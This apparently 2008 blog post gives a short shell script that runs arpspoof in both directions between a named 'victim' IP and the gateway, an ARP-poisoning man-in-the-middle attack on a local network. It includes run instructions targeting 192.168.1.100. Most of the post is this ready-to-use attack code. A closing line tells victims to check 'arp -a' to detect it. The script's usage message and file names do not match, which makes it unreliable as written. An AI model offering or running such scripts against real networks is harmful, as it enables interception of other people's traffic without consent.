#### Start of Shell Script let block.sh ##########
#### Here i assumed gateway is 192.168.1.1 #########
#### U can change it according ur network #########
#### To know ur gateway use arp -a command #########
gateway="192.168.1.1"
target=$1
echo $target
echo $1
if [ $# -ne 1 ]
then
echo "Error in $0 - Enter victim ip address"
echo "Syntax: $0 input_file output_file"
exit
fi
nohup arpspoof -i eth1 -t $target $gateway >/dev/null &
arpspoof -i eth1 -t $gateway $target >/dev/null
####### nohup command is used to run command as like daemon########
####### End of Code ########
To run the shell script..
#chmod +x hack.sh
(Go to directory where this script is available. here 192.168.1.100 is victim ip address)
#./hack.sh 192.168.1.100
Finally something For Victim
Type
arp -a
It will show ur routing table through which u can easily detect the Hacker
Sunday, July 27, 2008
Subscribe to:
Post Comments (Atom)

No comments:
Post a Comment